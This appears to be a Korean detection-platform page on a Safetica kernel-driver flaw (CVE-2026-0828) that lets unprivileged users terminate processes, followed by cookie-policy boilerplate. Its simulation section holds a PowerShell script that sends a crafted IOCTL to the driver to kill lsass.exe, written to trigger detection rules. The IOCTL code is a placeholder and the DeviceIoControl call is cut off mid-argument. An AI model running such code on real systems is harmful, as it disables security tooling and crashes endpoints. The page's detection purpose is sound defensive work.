Safetica 커널 드라이버 취약점 포함
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Safetica의 ProcessMonitorDriver.sys 커널 드라이버에서 발견된 결함은 권한이 없는 사용자가 IOCTL 인터페이스를 악용하여 임의의 시스템 프로세스를 종료할 수 있도록 합니다. 이는 서비스 거부와 영향받은 엔드포인트에서 보안 도구의 중단을 가능하게 하며, EDR 에이전트와 다른 중요한 서비스를 종료시켜 신속하게 방어 범위를 줄일 수 있습니다. 현재 공급업체 패치는 제공되지 않고 있습니다.
조사
보고서는 Safetica DLP 클라이언트 버전 전반에서 ProcessMonitorDriver.sys의 CVE-2026-0828을 문서화하고 있습니다. 입력 검증이 약해서 프로세스 종료가 조작된 IOCTL 호출을 통해 드라이버 권한 상승으로 발생할 수 있다는 것을 보여줍니다. 엔드포인트 보안 모니터링에 대한 영향을 강조합니다.
완화
드라이버에 대한 의심스러운 IOCTL 호출을 모니터하고, EDR 또는 호스트 원격 측정에 의존하며, Windows 그룹 정책, WDAC, 또는 AppLocker를 사용하여 드라이버 접근을 제한하십시오. 픽스가 릴리스될 때까지는 ProcessMonitorDriver.sys와 상호작용하는 신뢰할 수 없는 바이너리를 차단하십시오.
대응
ProcessMonitorDriver.sys를 대상으로 하는 비정상적인 IOCTL 활동을 탐지하고, 영향을 받은 시스템을 격리하며, 드라이버 접근을 차단하는 정책 제어를 적용하십시오. 로깅을 증가시키고, 권한이 없는 상호작용에 경고를 설정하며, 드라이버를 비활성화하는 것을 일시적인 해결책으로 고려하십시오.
공격 흐름
이 부분은 아직 업데이트 중입니다. 알림을 받으려면 가입하세요.
알림 받기탐지
의심스러운 ProcessMonitor 드라이버 설치 (시스템 통해)
보기
탐지할 IOCs (DestinationIP): Safetica는 커널 드라이버 취약점을 포함합니다.
보기
탐지할 IOCs (Emails): Safetica는 커널 드라이버 취약점을 포함합니다.
보기
탐지할 IOCs (SourceIP): Safetica는 커널 드라이버 취약점을 포함합니다.
보기
Safetica ProcessMonitorDriver.sys IOCTL 취약점 남용 탐지 [Windows Sysmon]
보기
시뮬레이션 실행
전제 조건: 원격 측정 및 기준점 비행 전 확인을 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 공격자 기술(TTP)의 정확한 실행을 설명합니다. 명령어와 내러티브는 식별된 TTP를 직접 반영하고 탐지 논리에 의해 기대되는 정확한 원격 측정을 생성해야 합니다.
-
공격 내러티브 & 명령:
레드팀 운영자는 취약한ProcessMonitorDriver.sys드라이버를 악용하여 임의의 고권한 프로세스를 종료(하는 것을 목표로 합니다 (lsass.exe). 이를 위해 드라이버가 목표 PID의 핸들을 닫도록 지시하는 악의적인 IOCTL 페이로드를 만들어 실행 흐름을 탈취(T1574)하고 일반적인 방어 메커니즘을 회피(T1211)합니다. 단계는 다음과 같습니다:- 의 PID를 확인합니다
lsass.exe. - 취약한 드라이버에 핸들을 엽니다 (
.ProcessMonitorDriver). - 프로세스 종료를 트리거하는 명령 코드와 대상 PID를 포함하는 IOCTL 버퍼를 생성합니다.
- 호출합니다
DeviceIoControl악의적인 제어 코드로 (0xdeadbeef). - 드라이버 핸들을 닫습니다.
- 의 PID를 확인합니다
-
회귀 테스트 스크립트:
# ProcessMonitorDriver.sys에 대한 Exploit 시뮬레이션 (CVE‑2026‑0828) # ------------------------------------------------------------- # 이 스크립트는 취약한 드라이버에 악의적인 IOCTL을 전송하여 # LSASS 프로세스를 종료시켜 탐지 규칙이 감시하는 Sysmon EventID 10을 생성합니다. # 1. LSASS PID 찾기 $targetProcess = Get-Process -Name lsass -ErrorAction Stop $targetPid = $targetProcess.Id Write-Host "Target PID (lsass): $targetPid" # 2. 드라이버에 핸들 열기 $driverPath = ".ProcessMonitorDriver" $file = [System.IO.File]::Open($driverPath, 'Open', 'ReadWrite', 'None') $handle = $file.SafeFileHandle # 3. 악의적인 IOCTL 버퍼 생성 (PID + 더미 데이터) $bufferSize = 8 $buffer = New-Object byte[] $bufferSize [BitConverter]::GetBytes([uint32]$targetPid).CopyTo($buffer, 0) [BitConverter]::GetBytes([uint32]0xFFFFFFFF).CopyTo($buffer, 4) # filler # 4. 악의적인 IOCTL 코드 정의 (예: 0xdeadbeef) $ioctlCode = 0xdeadbeef # 5. P/Invoke를 통해 DeviceIoControl 호출 $signature = @" using System; using System.Runtime.InteropServices; public class NativeMethods { [DllImport("kernel32.dll", SetLastError = true)] public static extern bool DeviceIoControl( IntPtr hDevice, uint dwIoControlCode, byte[] lpInBuffer, int nInBufferSize, byte[] lpOutBuffer, int nOutBufferSize, out int lpBytesReturned, IntPtr lpOverlapped); } "@ Add-Type $signature $bytesReturned = 0 $outBuffer = New-Object byte[] 0 $result = [NativeMethods]::DeviceIoControl( $handle, $ioctlCode, $buffer, $buffer.Length, $outBuffer, 0, [ref]$bytesReturned, if ($result) { Write-Host "IOCTL가 성공적으로 전송되었습니다 – LSASS 종료가 발생했을 수 있습니다." } else { $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Error "DeviceIoControl 실패 (오류 $err)." } # 6. 정리 $file.Close() -
정리 명령:
# 남아 있는 드라이버 핸들 제거 (최선의 노력) # LSASS가 종료된 경우 재시작 보장 (안전한 실험실을 위해) if (Get-Process -Name lsass -ErrorAction SilentlyContinue) { Write-Host "LSASS가 여전히 실행 중 – 정리 불필요." } else { Write-Host "LSASS 재시작 중 (관리자 권한 필요)…" # 테스트 머신에서는 재부팅하거나 서비스 재시작 cmdlet을 사용할 수 있습니다. # Restart-Service -Name "lsass" -Force }
SOC Prime의 Detection as Code 플랫폼에 가입하세요 귀사의 비즈니스에 가장 중요한 위협에 대한 가시성을 개선하세요. 시작을 돕고 즉각적인 가치를 제공하기 위해 지금 SOC Prime 전문가와의 회의를 예약하세요.
Cookie Settings
You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information.
| Name | Descripiton |
|---|---|
| PHPSESSID | Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages. |
| sp_i | Used to store information about authenticated User. |
| sp_r | Used to store information about authenticated User. |
| sp_a | Used to store information about authenticated User. |
All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies we will not know when you have visited our site, and will not be able to monitor its performance.
| Name | Descripiton |
|---|---|
| tuuid | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| tuuid_last_update | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| um | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| umeh | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| na_sc_x | Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site. |
| APID | Collects anonymous data related to the user's visits to the website. |
| IDSYNC | Collects anonymous data related to the user's visits to the website. |
| _cc_aud | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_cc | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_dc | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_id | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| dpm | Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads. |
| acs | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads. |
| clid | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads. |
| KRTBCOOKIE_# | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| PUBMDCID | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| PugT | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| ssi | Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads. |
| _tmid | Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips. |
| wam-sync | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| wui | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| AFFICHE_W | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| B | Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor. |
| 1P_JAR | These cookies are used to gather website statistics, and track conversion rates. |
| APISID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| HSID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| NID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SAPISID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SIDCC | Security cookie to protect users data from unauthorised access. |
| SSID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| __utmx | This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website. |
| __utmxx | This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website. |
If you do not allow these cookies then some or all of these services may not function properly.
| Name | Descripiton |
|---|---|
| _hjid | Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID. |
| _hjIncludedInSample | This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample. |
| intercom-id-[xxx] | This cookie is used by Intercom as a session so that users can continue a chat as they move through the site. |
| intercom-session-[xxx] | Used to keeping track of sessions and remember logins and conversations. |
| demdex | Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads. |
| CookieConsent | Stores the user's cookie consent state for the current domain. |
| __cfduid | Used by the content network, Cloudflare, to identify trusted web traffic. |
| ss | These cookies enable the website to provide enhanced functionality and
personalisation . They may be set by us or by third party providers whose
services we have added to our pages. These services may include the Live Chat facility, Contact Us form(s), the Product Quotation forms and submission process, and the Email Newsletter sign up functionality . |
They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising.
| Name | Descripiton |
|---|---|
| _ga | This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners. |
| _gat | Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes. |
| _gid | This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. |
| IDE | Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user. |
| r/collect | Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user. |
| test_cookie | Used to check if the user's browser supports cookies. |
| collect | Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels. |
| ads/user-lists/# | These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites. |
| c | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| khaos | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| put_# | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| rpb | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| rpx | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| tap.php | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |